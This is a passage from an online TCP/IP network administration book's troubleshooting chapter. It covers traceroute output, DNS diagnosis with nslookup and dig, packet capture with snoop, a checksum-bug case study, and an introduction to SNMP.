 2  172.16.230.254 (172.16.230.254)  1.518 ms  1.337 ms  1.296 ms
 3  gw225.nuts.com (172.16.2.252)  4.137 ms  1.945 ms  2.209 ms
 4  192.221.253.2 (192.221.253.2)  52.903 ms  81.19 ms  58.097 ms
 5  washdc1-br2.bbnplanet.net (4.0.36.17)  6.5 ms  5.8 ms  5.888 ms
 6  nyc1-br1.bbnplanet.net (4.0.1.114)  13.244 ms  12.717 ms  12.968 ms
 7  nyc1-br2.bbnplanet.net (4.0.1.178)  14.649 ms  13.323 ms  12.212 ms
 8  cambridge1-br1.bbnplanet.net (4.0.2.86)  28.842 ms  27.784 ms
     23.561 ms
 9  * * *
10  * * *
    .
    .
    .
29  * * *
30  * * *

When traceroute fails to get packets through to the remote end system, the trace trails off, displaying a series of three asterisks at each hop count until the count reaches 30. If this happens, contact the administrator of the remote host you're trying to reach, and the administrator of the last gateway displayed in the trace. Describe the problem to them; they may be able to help. [6] In our example, the last gateway that responded to our packets was cambridge1-br1.bbnplanet.net. We would contact this system administrator, and the administrator of ds.internic.net.

[6] Chapter 13, explains how to find out who is responsible for a specific computer.

Previous: 11.4 Troubleshooting Network Access | TCP/IP Network Administration | Next: 11.6 Checking Name Service
11.4 Troubleshooting Network Access | Book Index | 11.6 Checking Name Service


[Chapter 11] 11.6 Checking Name Service

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.5 Checking Routing Chapter 11
Troubleshooting TCP/IP 		Next: 11.7 Analyzing Protocol Problems

11.6 Checking Name Service

Name server problems are indicated when the "unknown host" error message is returned by the user's application. Name server problems can usually be diagnosed with nslookup or dig. nslookup is discussed in detail in Chapter 8. dig is an alternative tool with similar functionality that is discussed in this chapter. Before looking at dig, let's take another look at nslookup and see how it is used to troubleshoot name service.

The three features of nslookup covered in Chapter 8 are particularly important for troubleshooting remote name server problems. These features are its ability to:

  • Locate the authoritative servers for the remote domain using the NS query

  • Obtain all records about the remote host using the ANY query

  • Browse all entries in the remote zone using nslookup's ls and view commands

When troubleshooting a remote server problem, directly query the authoritative servers returned by the NS query. Don't rely on information returned by non-authoritative servers. If the problems that have been reported are intermittent, query all of the authoritative servers in turn and compare their answers. Intermittent name server problems are sometimes caused by the remote servers returning different answers to the same query.

The ANY query returns all records about a host, thus giving the broadest range of troubleshooting information. Simply knowing what information is (and isn't) available can solve a lot of problems. For example, if the query returns an MX record but no A record, it is easy to understand why the user couldn't telnet to that host! Many hosts are accessible to mail that are not accessible by other network services. In this case, the user is confused and is trying to use the remote host in an inappropriate manner.

If you are unable to locate any information about the hostname that the user gave you, perhaps the hostname is incorrect. Given that the hostname you have is wrong, looking for the correct name is like trying to find a needle in a haystack. However, nslookup can help. Use nslookup's ls command to dump the remote zone file, and redirect the listing to a file. Then use nslookup's view command to browse through the file, looking for names similar to the one the user supplied. Many problems are caused by a mistaken hostname.

All of the nslookup features and commands mentioned here are used in Chapter 8. However, some examples using these commands to solve real name server problems will be helpful. The three examples that follow are based on actual trouble reports. [7]

[7] The host and server names are fictitious, but the problems were real.

11.6.1 Some systems work, others don't

A user reported that she could resolve a certain hostname from her workstation, but could not resolve the same hostname from the central system. However, the central system could resolve other hostnames. We ran several tests and found that we could resolve the hostname on some systems and not on others. There seemed to be no predictable pattern to the failure. So we used nslookup to check the remote servers.

% nslookup
Default Server:  almond.nuts.com
Address:  172.16.12.1

> set type=NS
> foo.edu.
Server:  almond.nuts.com
Address:  172.16.12.1

foo.edu        nameserver = gerbil.foo.edu
foo.edu        nameserver = red.big.com
foo.edu        nameserver = shrew.foo.edu
gerbil.foo.edu   inet address = 198.97.99.2
red.big.com   inet address = 184.6.16.2
shrew.foo.edu    inet address = 198.97.99.1
> set type=ANY
> server gerbil.foo.edu
Default Server:  gerbil.foo.edu
Address:  198.97.99.2

> hamster.foo.edu
Server:  gerbil.foo.edu
Address:  198.97.99.2

hamster.foo.edu        inet address = 198.97.99.8
> server red.big.com
Default Server:  red.big.com
Address:  184.6.16.2
> hamster.foo.edu
Server:  red.big.com
Address:  184.6.16.2

* red.big.com can't find hamster.foo.edu: Non-existent domain

This sample nslookup session contains several steps. The first step is to locate the authoritative servers for the host name in question (hamster.foo.edu). We set the query type to NS to get the name server records, and query for the domain (foo.edu) in which the hostname is found. This returns three names of authoritative servers: gerbil.foo.edu, red.big.com, and shrew.foo.edu.

Next, we set the query type to ANY to look for any records related to the hostname in question. Then we set the server to the first server in the list, gerbil.foo.edu, and query for hamster.foo.edu. This returns an address record. So server gerbil.foo.edu works fine. We repeat the test using red.big.com as the server, and it fails. No records are returned.

The next step is to get SOA records from each server and see if they are the same:

> set type=SOA
> foo.edu.
Server:  red.big.com
Address:  184.6.16.2

foo.edu        origin = gerbil.foo.edu
    mail addr = amanda.gerbil.foo.edu
    serial=10164, refresh=43200, retry=3600, expire=3600000,
    min=2592000
> server gerbil.foo.edu
Default Server:  gerbil.foo.edu
Address:  198.97.99.2

> foo.edu.
Server:  gerbil.foo.edu
Address:  198.97.99.2

foo.edu        origin = gerbil.foo.edu
    mail addr = amanda.gerbil.foo.edu
    serial=10164, refresh=43200, retry=3600, expire=3600000,
    min=2592000

> exit

If the SOA records have different serial numbers, perhaps the zone file, and therefore the hostname, has not yet been downloaded to the secondary server. If the serial numbers are the same and the data is different, as in this case, there is a definite problem. Contact the remote domain administrator and notify her of the problem. The administrator's mailing address is shown in the "mail addr" field of the SOA record. In our example, we would send mail to amanda@gerbil.foo.edu reporting the problem.

11.6.2 The data is here and the server can't find it!

This problem was reported by the administrator of one of our secondary name servers. The administrator reported that his server could not resolve a certain hostname in a domain for which his server was a secondary server. The primary server was, however, able to resolve the name. The administrator dumped his cache (more on dumping the server cache in the next section), and he could see in the dump that his server had the correct entry for the host. But his server still would not resolve that hostname to an IP address!

The problem was replicated on several other secondary servers. The primary server would resolve the name; the secondary servers wouldn't. All servers had the same SOA serial number, and a dump of the cache on each server showed that they all had the correct address records for the hostname in question. So why wouldn't they resolve the hostname to an address?

Visualizing the difference between the way primary and secondary servers load their data made us suspicious of the zone file transfer. Primary servers load the data directly from local disk files. Secondary servers transfer the data from the primary server via a zone file transfer. Perhaps the zone files were getting corrupted. We displayed the zone file on one of the secondary servers, and it showed the following data:

% cat /usr/etc/sales.nuts.com.hosts
PCpma      IN   A   172.16.64.159
      IN   HINFO   "pc" "n3/800salesnutscom"
PCrkc      IN   A   172.16.64.155
      IN   HINFO   "pc" "n3/800salesnutscom"
PCafc      IN   A   172.16.64.189
      IN   HINFO   "pc" "n3/800salesnutscom"
accu      IN   A   172.16.65.27
cmgds1   IN   A   172.16.130.40
cmg      IN   A   172.16.130.30
PCgns      IN   A   172.16.64.167
      IN   HINFO   "pc" "(3/800salesnutscom"
gw      IN   A   172.16.65.254
zephyr   IN   A   172.16.64.188
      IN   HINFO   "Sun" "sparcstation"
ejw      IN   A   172.16.65.17
PCecp      IN   A   172.16.64.193
      IN   HINFO   "pc" "nLsparcstationstcom"

Notice the odd display in the last field of the HINFO statement for each PC. [8] This data might have been corrupted in the transfer or it might be bad on the primary server. We used nslookup to check that.

[8] See Appendix D, A dhcpd Reference, for a detailed description of the HINFO statement.

% nslookup
Default Server:  almond.nuts.com
Address:  172.16.12.1

> server acorn.sales.nuts.com
Default Server:  acorn.sales.nuts.com
Address:  172.16.6.1

> set query=HINFO
> PCwlg.sales.nuts.com
Server:  acorn.sales.nuts.com
Address:  172.16.6.1

PCwlg.sales.nuts.com     CPU=pc  OS=ov
packet size error (0xf7fff590 != 0xf7fff528)
> exit

In this nslookup example, we set the server to acorn.sales.nuts.com, which is the primary server for sales.nuts.com. Next we queried for the HINFO record for one of the hosts that appeared to have a corrupted record. The "packet size error" message clearly indicates that nslookup was even having trouble retrieving the HINFO record directly from the primary server. We contacted the administrator of the primary server and told him about the problem, pointing out the records that appeared to be in error. He discovered that he had forgotten to put an operating system entry on some of the HINFO records. He corrected this, and it fixed the problem.

11.6.3 Cache corruption

The problem described above was caused by having the name server cache corrupted by bad data. Cache corruption can occur even if your system is not a secondary server. Sometimes the root server entries in the cache become corrupted. Dumping the cache can help diagnose these types of problems.

For example, a user reported intermittent name server failures. She had no trouble with any hostnames within the local domain, or with some names outside the local domain, but names in several different remote domains would not resolve. nslookup tests produced no solid clues, so the name server cache was dumped and examined for problems. The root server entries were corrupted, so named was reloaded to clear the cache and reread the named.ca file. Here's how it was done.

The SIGINT signal causes named to dump the name server cache to the file /var/tmp/named_dump.db. The following command passes named this signal:

# kill -INT `cat /etc/named.pid`

The process ID of named can be obtained from /etc/named.pid, as in the example above, because named writes its process ID in that file during startup. [9]

[9] On our Linux system the process ID is written to /var/run/named.pid.

Once SIGINT causes named to snapshot its cache to the file, we can then examine the first part of the file to see if the names and addresses of the root servers are correct. For example:

# head -10 /var/tmp/named_dump.db
; Dumped at Wed Sep 18 08:45:58 1991
; --- Cache & Data ---
$ORIGIN .
.       80805   IN      SOA     NS.NIC.DDN.MIL. HOSTMASTER.NIC.DDN.MIL.
        ( 910909 10800 900 604800 86400 )
        479912  IN      NS      NS.NIC.DDN.MIL.
        479912  IN      NS      AOS.BRL.MIL.
        479912  IN      NS      A.ISI.EDU.
        479912  IN      NS      C.NYSER.NET.
        479912  IN      NS      TERP.UMD.EDU.

The cache shown above is clean. If intermittent name server problems lead you to suspect a cache corruption problem, examine the cache and check the names and addresses of all the root servers. The following symptoms might indicate a problem with the root server cache:

  • Incorrect root server names. The section on /etc/named.ca in Chapter 8 explains how you can locate the correct root server names. The easiest way to do this is to get the file domain/named.root from the InterNIC.

  • No address or an incorrect address for any of the servers. Again, the correct addresses are in domain/named.root.

  • A name other than root (.) in the name field of the first root server NS record, or the wildcard character (*) occurring in the name field of a root or top-level name server. The structure of NS records is described in Appendix D.

A "bad cache" with multiple errors might look like this:

# head -10 /var/tmp/named_dump.db
; Dumped at Wed Sep 18 08:45:58 1991
; --- Cache & Data ---
$ORIGIN .
arpa   80805   IN     SOA    SRI-NIC.ARPA.  HOSTMASTER.SRI-NIC.ARPA.
        ( 910909 10800 900 604800 86400 )
       479912  IN     NS     NS.NIC.DDN.MIL.
       479912  IN     NS     AOS.BRL.MIL.
       479912  IN     NS     A.ISI.EDU.
       479912  IN     NS     C.NYSER.NET.
       479912  IN     NS     TERP.UMD.EDU.
*      479912  IN     NS     NS.FOO.MIL.

This contrived example has three glaring errors. The "arpa" entry in the first field of the SOA record is invalid, and is the most infamous form of cache corruption. The last NS record is also invalid. NS.FOO.MIL. is not a valid root server, and an asterisk (*) in the first field of a root server record is not normal.

If you see problems like these, force named to reload its cache with the SIGHUP signal as shown below:

# kill -HUP `cat /etc/named.pid`

This clears the cache and reloads the valid root server entries from your named.ca file.

If you know which system is corrupting your cache, instruct your system to ignore updates from the culprit by using the bogusns statement in the /etc/named.boot file. The bogusns statement lists the IP addresses of name servers whose information cannot be trusted. For example, in the previous section we described a problem where acorn.sales.nuts.com (172.16.16.1) was causing cache corruption with improperly formatted HINFO records. The following entry in the named.boot file blocks queries to acorn.sales.nuts.com and thus blocks the cache corruption:

bogusns 172.16.16.1

The bogusns entry is only a temporary measure. It is designed to keep things running while the remote domain administrator has a chance to diagnose and repair the problem. Once the remote system is fixed, remove the bogusns entry from named.boot.

11.6.4 dig: An Alternative to nslookup

An alternative to nslookup for making name service queries is dig. dig queries are usually entered as single-line commands, while nslookup is usually run as an interactive session. But the dig command performs essentially the same function as nslookup. Which you use is mostly a matter of personal choice. They both work well.

As an example, we'll use dig to ask the root server terp.umd.edu for the NS records for the mit.edu domain. To do this, enter the following command:

% dig @terp.umd.edu mit.edu ns

In this example, @terp.umd.edu is the server that is being queried. The server can be identified by name or IP address. If you're troubleshooting a problem in a remote domain, specify an authoritative server for that domain. In this example we're asking for the names of servers for a top-level domain (mit.edu), so we ask a root server.

If you don't specify a server explicitly, dig uses the local name server, or the name server defined in the /etc/resolv.conf file. (Chapter 8 describes resolv.conf.) Optionally, you can set the environment variable LOCALRES to the name of an alternate resolv.conf file. This alternate file will then be used in place of /etc/resolv.conf for dig queries. Setting the LOCALRES variable will only affect dig. Other programs that use name service will continue to use /etc/resolv.conf.

The last item on our sample command line is ns. This is the query type. A query type is a value that requests a specific type of DNS information. It is similar to the value used in nslookup's set type command. Table 11.1 shows the possible dig query types and their meanings.

Table 11.1: dig Query Types
Query Type | DNS Record Requested
a | Address records
any | Any type of record
mx | Mail Exchange records
ns | Name Server records
soa | Start of Authority records
hinfo | Host Info records
axfr | All records in the zone
txt | Text records

Notice that the function of nslookup's ls command is performed by the dig query type axfr.

dig also has an option that is useful for locating a hostname when you have only an IP address. If you only have the IP address of a host, you may want to find out the hostname because numeric addresses are more prone to typos. Having the hostname can reduce the user's problems. The in-addr.arpa domain converts addresses to hostnames, and dig provides a simple way to enter in-addr.arpa domain queries. Using the -x option, you can query for a number to name conversion without having to manually reverse the numbers and add "in-addr.arpa." For example, to query for the hostname of IP address 18.72.0.3, simply enter:

% dig -x 18.72.0.3

; <<>> DiG 2.1 <<>> -x
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6
;; flags: qr aa rd ra; Ques: 1, Ans: 1, Auth: 0, Addit: 0
;; QUESTIONS:
;;      3.0.72.18.in-addr.arpa, type = ANY, class = IN

;; ANSWERS:
3.0.72.18.in-addr.arpa. 21600   PTR     BITSY.MIT.EDU.

;; Total query time: 74 msec
;; FROM: peanut to SERVER: default -- 172.16.12.1
;; WHEN: Sat Jul 12 11:12:55 1997
;; MSG SIZE  sent: 40  rcvd: 67

The answer to our query is BITSY.MIT.EDU, but dig displays lots of other output. The first five lines and the last four lines provide information and statistics about the query. For our purposes, the only important information is the answer. [10]

[10] To see a single-line answer to this query, pipe dig's output to grep; e.g., dig -x 18.72.0.3 | grep PTR.

Previous: 11.5 Checking Routing | TCP/IP Network Administration | Next: 11.7 Analyzing Protocol Problems
11.5 Checking Routing | Book Index | 11.7 Analyzing Protocol Problems


[Chapter 11] 11.7 Analyzing Protocol Problems

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.6 Checking Name Service Chapter 11
Troubleshooting TCP/IP 		Next: 11.8 Protocol Case Study

11.7 Analyzing Protocol Problems

Problems caused by bad TCP/IP configurations are much more common than problems caused by bad TCP/IP protocol implementations. Most of the problems you encounter will succumb to analysis using the simple tools we have already discussed. But on occasion, you may need to analyze the protocol interaction between two systems. In the worst case, you may need to analyze the packets in the data stream bit by bit. Protocol analyzers help you do this.

snoop is the tool we'll use. It is provided with the Solaris operating system. [11] Although we use snoop in all of our examples, the concepts introduced in this section should be applicable to the analyzer that you use, because most protocol analyzers function in basically the same way. Protocol analyzers allow you to select, or filter, the packets you want to examine, and to examine those packets byte by byte. We'll discuss both of these functions.

[11] If you don't use Solaris, try tcpdump. It is available via anonymous FTP on the Internet and is similar to snoop.

Protocol analyzers watch all the packets on the network. Therefore, you only need one system that runs analyzer software on the affected part of the network. One Solaris system with snoop can monitor the network traffic and tell you what the other hosts are (or aren't) doing. This, of course, assumes a shared media network. If you use an Ethernet switch, only the traffic on an individual segment can be seen. Some switches provide a monitor port. For others you may need to take your monitor to the location of the problem.

11.7.1 Packet Filters

snoop reads all the packets on an Ethernet. It does this by placing the Ethernet interface into promiscuous mode. Normally, an Ethernet interface only passes packets up to the higher layer protocols that are destined for the local host. In promiscuous mode, all packets are accepted and passed to the higher layer. This allows snoop to view all packets and to select packets for analysis, based on a filter you define. Filters can be defined to capture packets from, or to, specific hosts, protocols, and ports, or combinations of all these. As an example, let's look at a very simple snoop filter. The following snoop command displays all packets sent between the hosts almond and peanut:

# snoop host almond and host peanut
Using device /dev/le (promiscuous mode)
peanut.nuts.com -> almond.nuts.com ICMP Echo request
almond.nuts.com -> peanut.nuts.com ICMP Echo reply
peanut.nuts.com -> almond.nuts.com RLOGIN C port=1023
almond.nuts.com -> peanut.nuts.com RLOGIN R port=1023
^C

The filter "host almond and host peanut" selects only those packets that are from peanut to almond, or from almond to peanut. The filter is constructed from a set of primitives, and associated hostnames, protocol names, and port numbers. The primitives can be modified and combined with the operators and, or, and not. The filter may be omitted; this causes snoop to display all packets from the network.

Table 11.2 shows the primitives used to build snoop filters. There are a few additional primitives and some variations that perform the same functions, but these are the essential primitive. See the snoop manpage for additional details.

Table 11.2: Expression Primitives
Primitive | Matches Packets
dst host | net | port destination | To destination host, net, or port
src host | net | port source | From source host, net, or port
host destination | To or from destination host
net destination | To or from destination network
port destination | To or from destination port
ether address | To or from Ethernet address
protocol | Of protocol type (icmp, udp, or tcp)

Using these primitives with the operators and and or, complex filters can be constructed. However, filters are usually simple. Capturing the traffic between two hosts is probably the most common filter. You may further limit the data captured to a specific protocol, but often you're not sure which protocol will reveal the problem. Just because the user sees the problem in ftp or telnet does not mean that is where the problem actually occurs. Analysis must often start by capturing all packets, and can only be narrowed after test evidence points to some specific problem.

11.7.1.1 Modifying analyzer output

The example in the previous section shows that snoop displays a single line of summary information for each packet received. All lines show the source and destination addresses, and the protocol being used (ICMP and RLOGIN in the example). The lines that summarize the ICMP packets identify the packet types (Echo request and Echo reply in the example). The lines that summarize the application protocol packets display the source port and the first 20 characters of the packet data.

This summary information is sufficient to gain insight into how packets flow between two hosts and into potential problems. However, troubleshooting protocol problems requires more detailed information about each packet. snoop has options that give you control over what information is displayed. To display the data contained in a packet, use the -x option. It causes the entire contents of the packet to be dumped in hex and ASCII. In most cases, you don't need to see the entire packet; usually, the headers are sufficient to troubleshoot a protocol problem. The -v option displays the headers in a well-formatted and very detailed manner. Because of the large number of lines displayed for each packet, only use -v when you need it.

The following example shows an ICMP Echo Request packet displayed with the -v option. The same type of packet was summarized in the first line of the previous example.

# snoop -v host almond and host macadamia
Using device /dev/le (promiscuous mode)
ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 3 arrived at 16:56:57.90
ETHER:  Packet size = 98 bytes
ETHER:  Destination = 8:0:20:22:fd:51, Sun
ETHER:  Source      = 0:0:c0:9a:d0:db, Western Digital
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 84 bytes
IP:   Identification = 3049
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 64 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = fde0
IP:   Source address = 172.16.55.106, macadamia.nuts.com
IP:   Destination address = 172.16.12.1, almond.nuts.com
IP:   No options
IP:
ICMP:  ----- ICMP Header -----
ICMP:
ICMP:  Type = 8 (Echo request)
ICMP:  Code = 0
ICMP:  Checksum = ac54
ICMP:

The detailed formatting done by snoop maps the bytes received from the network to the header structure. Look at the description of the various header fields in Chapter 1, and Appendix F, Selected TCP/IP Headers, for more information.

Previous: 11.6 Checking Name Service | TCP/IP Network Administration | Next: 11.8 Protocol Case Study
11.6 Checking Name Service | Book Index | 11.8 Protocol Case Study


[Chapter 11] 11.8 Protocol Case Study

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.7 Analyzing Protocol Problems Chapter 11
Troubleshooting TCP/IP 		Next: 11.9 Simple Network Management Protocol

11.8 Protocol Case Study

This example is an actual case that was solved by protocol analysis. The problem was reported as an occasional ftp failure with the error message:

netout: Option not supported by protocol
421 Service not available, remote server has closed connection

Only one user reported the problem, and it occurred only when transferring large files from a workstation to the central computer, via our FDDI backbone network.

We obtained the user's data file and were able to duplicate the problem from other workstations, but only when we transferred the file to the same central system via the backbone network. Figure 11.4 graphically summarizes the tests we ran to duplicate the problem.

Figure 11.4: FTP test summary

We notified all users of the problem. In response, we received reports that others had also experienced it, but again only when transferring to the central system, and only when transferring via the backbone. They had not reported it, because they rarely saw it. But the additional reports gave us some evidence that the problem did not relate to any recent network changes.

Because the problem had been duplicated on other systems, it probably was not a configuration problem on the user's system. The ftp failure could also be avoided if the backbone routers and the central system did not interact. So we concentrated our attention on those systems. We checked the routing tables and ARP tables, and ran ping tests on the central system and the routers. No problems were observed.

Based on this preliminary analysis, the ftp failure appeared to be a possible protocol interaction problem between a certain brand of routers and a central computer. We made that assessment because the transfer routinely failed when these two brands of systems were involved, but never failed in any other circumstance. If the router or the central system were misconfigured, they should fail when transferring data to other hosts. If the problem was an intermittent physical problem, it should occur randomly regardless of the hosts involved. Instead, this problem occurred predictably, and only between two specific brands of computers. Perhaps there was something incompatible in the way these two systems implemented TCP/IP.

Therefore, we used snoop to capture the TCP/IP headers during several ftp test runs. Reviewing the dumps showed that all transfers that failed with the "netout" error message had an ICMP Parameter Error packet near the end of the session, usually about 50 packets before the final close. No successful transfer had this ICMP packet. Note that the error did not occur in the last packet in the data stream, as you might expect. It is common for an error to be detected, and for the data stream to continue for some time before the connection is actually shut down. Don't assume that an error will always be at the end of a data stream.

Here are the headers from the key packets. First, the IP header of the packet from the backbone router that caused the central system to send the error:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 1 arrived at 16:56:36.39
ETHER:  Packet size = 60 bytes
ETHER:  Destination = 8:0:25:30:6:51, CDC
ETHER:  Source      = 0:0:93:e0:a0:bf, Proteon
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 552 bytes
IP:   Identification = 8a22
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 57 seconds/hops
IP:   Protocol = 6 (TCP)
IP:   Header checksum = ffff
IP:   Source address = 172.16.55.106, fs.nuts.com
IP:   Destination address = 172.16.51.252, bnos.nuts.com
IP:   No options
IP:

And this is the ICMP Parameter Error packet sent from the central system in response to that packet:

ETHER:  ----- Ether Header -----
ETHER:
ETHER:  Packet 3 arrived at 16:56:57.90
ETHER:  Packet size = 98 bytes
ETHER:  Destination = 0:0:93:e0:a0:bf, Proteon
ETHER:  Source      = 8:0:25:30:6:51, CDC
ETHER:  Ethertype = 0800 (IP)
ETHER:
IP:   ----- IP Header -----
IP:
IP:   Version = 4
IP:   Header length = 20 bytes
IP:   Type of service = 0x00
IP:         xxx. .... = 0 (precedence)
IP:         ...0 .... = normal delay
IP:         .... 0... = normal throughput
IP:         .... .0.. = normal reliability
IP:   Total length = 56 bytes
IP:   Identification = 000c
IP:   Flags = 0x0
IP:         .0.. .... = may fragment
IP:         ..0. .... = last fragment
IP:   Fragment offset = 0 bytes
IP:   Time to live = 59 seconds/hops
IP:   Protocol = 1 (ICMP)
IP:   Header checksum = 8a0b
IP:   Source address = 172.16.51.252, bnos.nuts.com
IP:   Destination address = 172.16.55.106, fs.nuts.com
IP:   No options
IP:
ICMP:  ----- ICMP Header -----
ICMP:
ICMP:  Type = 12 (Parameter problem)
ICMP:  Code = 0
ICMP:  Checksum = 0d9f
ICMP:  Pointer = 10

Each packet header is broken out bit-by-bit and mapped to the appropriate TCP/IP header fields. From this detailed analysis of each packet, we see that the router issued an IP Header Checksum of 0xffff, and that the central system objected to this checksum. We know that the central system objected to the checksum because it returned an ICMP Parameter Error with a Pointer of 10. The Parameter Error indicates that there is something wrong with the data the system has just received, and the Pointer identifies the specific data that the system thinks is in error. The tenth byte of the router's IP header is the IP Header Checksum. The data field of the ICMP error message returns the header that it believes is in error. When we displayed that data we noticed that when the central system returned the header, the checksum field was "corrected" to 0000. Clearly the central system disagreed with the router's checksum calculation.

Occasional checksum errors will occur. They can be caused by transmission problems, and are intended to detect these types of problems. Every protocol suite has a mechanism for recovering from checksum errors. So how should they be handled in TCP/IP?

To determine the correct protocol action in this situation, we turned to the authoritative sources - the RFCs. RFC 791, Internet Protocol, provided information about the checksum calculation, but the best source for this particular problem was RFC 1122, Requirements for Internet Hosts - Communication Layers, by R. Braden. This RFC provided two specific references that define the action to be taken. These excerpts are from page 29 of RFC 1122:

In the following, the action specified in certain cases is to "silently
discard" a received datagram. This means that the datagram will be
discarded without further processing and that the host will not send
any ICMP error message (see Section 3.2.2) as a result....
...
A host MUST verify the IP header checksum on every received datagram
and silently discard every datagram that has a bad checksum.

Therefore, when a system receives a packet with a bad checksum, it is not supposed to do anything with it. The packet should be discarded, and the system should wait for the next packet to arrive. The system should not respond with an error message. A system cannot respond to a bad IP header checksum, because it cannot really know where the packet came from. If the header checksum is in doubt, how do you know if the addresses in the header are correct? And if you don't know for sure where the packet came from, how can you respond to it?

IP relies on the upper-layer protocols to recover from these problems. If TCP is used (as it was in this case), the sending TCP eventually notices that the recipient has never acknowledged the segment, and it sends the segment again. If UDP is used, the sending application is responsible for recovering from the error. In neither case does recovery rely on an error message returned from the recipient.

Therefore, for an incorrect checksum, the central system should have simply discarded the bad packet. The vendor was informed of this problem and, much to their credit, they sent us a fix for the software within two weeks. Not only that, the fix worked perfectly!

Not all problems are resolved so cleanly. But the technique of analysis is the same no matter what the problem.

Previous: 11.7 Analyzing Protocol Problems | TCP/IP Network Administration | Next: 11.9 Simple Network Management Protocol
11.7 Analyzing Protocol Problems | Book Index | 11.9 Simple Network Management Protocol


[Chapter 11] 11.9 Simple Network Management Protocol

TCP/IP Network Administration

TCP/IP Network AdministrationSearch this book
Previous: 11.8 Protocol Case Study Chapter 11
Troubleshooting TCP/IP 		Next: 11.10 Summary

11.9 Simple Network Management Protocol

Troubleshooting is necessary to recover from problems, but the ultimate goal of the network administrator is to avoid problems. That is also the goal of network management software. The network management software used on TCP/IP networks is based on the Simple Network Management Protocol (SNMP).

SNMP is a client/server protocol. In SNMP terminology, it is described as a manager/agent protocol. The agent (the server) runs on the device being managed, which is called the Managed Network Entity. The agent monitors the status of the device and reports that status to the manager.

The manager (the client) runs on the Network Management Station (NMS). The NMS collects information from all of the different devices that are being managed, consolidates it, and presents it to the network administrator. This design places all of the data manipulation tools and most of the human interaction on the NMS. Concentrating the bulk of the work on the manager means that the agent software is small and easy to implement. Correspondingly, most TCP/IP network equipment comes with an SNMP management agent.

SNMP is a request/response protocol. UDP port 161 is its well-known port. SNMP uses UDP as its transport protocol because it has no need for the overhead of TCP. "Reliability" is not required because each request generates a response. If the SNMP application does not receive a response, it simply re-issues the request. "Sequencing" is not needed because each request and each response travels as a single datagram.

The request and response messages that SNMP sends in the datagrams are called Protocol Data Units (PDU). The five PDUs used by SNMP are listed in Table 11.3 These message types allow the manager to request management information, and when appropriate, to modify that information. The messages also allow the agent to respond to manager requests and to notify the manager of unusual situations.

Table 11.3: SNMP Protocol Data Units
PDU | Use
GetRequest | Manager requests an update.
GetNextRequest | Manager requests the next entry in a table.
GetResponse | Agent answers a manager request.
SetRequest | Manager modifies data on the managed device.
Trap | Agent alerts manager of an unusual event.

The NMS periodically requests the status of each managed device (GetRequest) and each agent responds with the status of its device (GetResponse). Making periodic requests is called polling. Polling reduces the burden on the agent because the NMS decides when polls are needed, and the agent simply responds. Polling also reduces the burden on the network because the polls originate from a single system at a predictable rate. The shortcoming of polling is that it does not allow for real-time updates. If a problem occurs on a managed device, the manager does not find out until the agent is polled. To handle this, SNMP uses a modified polling system called trap-directed polling.

A trap is an interrupt signaled by a predefined event. When a trap event occurs, the SNMP agent does not wait for the manager to poll; instead it immediately sends information to the manager. Traps allow the agent to inform the manager of unusual events while allowing the manager to maintain control of polling. SNMP traps are sent on UDP port 162. The manager sends polls on port 161 and listens for traps on port 162. Table 11.4 lists the trap events defined in the RFCs.

Table 11.4: Generic Traps Defined in the RFCs
Trap | Meaning
coldStart | Agent restarted; possible configuration changes
warmStart | Agent reinitialized without configuration changes
enterpriseSpecific | An event significant to this hardware or software
authenticationFailure | Agent received an unauthenticated message
linkDown | Agent detected a network link failure
linkUp | Agent detected a network link coming up
egpNeighborLoss | The device's EGP neighbor is down

The last three entries in this table show the roots of SNMP in Simple Gateway Management Protocol (SGMP), which was a tool for tracking the status of network routers. Routers are generally the only devices that have multiple network links to keep track of and are the only devices that run Exterior Gateway Protocol (EGP). [12] These traps are not significant for most systems.

[12] EGP is covered in Chapter 7.

The most important trap may be the enterpriseSpecific trap. The events that signal this trap are defined differently by every vendor's SNMP agent software. Therefore it is possible for the trap to be tuned to events that are significant for that system. SNMP uses the term "enterprise" to refer to something that is privately defined by a vendor or organization as opposed to something that is globally defined by an RFC.

SNMP has twice as much jargon as the rest of networking - and that's saying something! Managed Network Entity, NMS, PDU, trap, polling, enterprise - that's just the beginning! We also need to mention (below) what SMI is, what a MIB is, and what ANS.1 is used for. Why this bewildering array of acronyms and buzzwords? I think there are two main reasons:

  • Network management covers a wide range of different devices, from repeaters to mainframe computers. A "vendor-neutral" language is needed to define terms for the manufacturers of all of this different equipment.

  • SNMP is based on the Common Management Information Protocol (CMIP) that was created by the International Standards Organization (ISO). Formal international standards always spend a lot of time defining terms because it is important to make terms clear when they are used by people from many different cultures who speak many different languages.

Now that you know why you have to suffer through all of this jargon, let's define a few more important terms.

The Structure of Management Information (SMI) defines how data should be presented in an SNMP environment. The SMI is documented in RFC 1155 and RFC 1065, Structure and Identification of Management Information for TCP/IP-based Internets. The SMI defines how managed objects are named, the syntax in which they are defined, and how they are encoded for transmission over the network. The SMI is based on previous ISO work.

Each managed object is given a globally unique name called an object identifier. The object identifier is part of a hierarchical name space that is managed by the ISO. The hierarchical name structure is used, just like it is in DNS, to guarantee that each name is globally unique. In an object identifier, each level of the hierarchy is identified by a number.

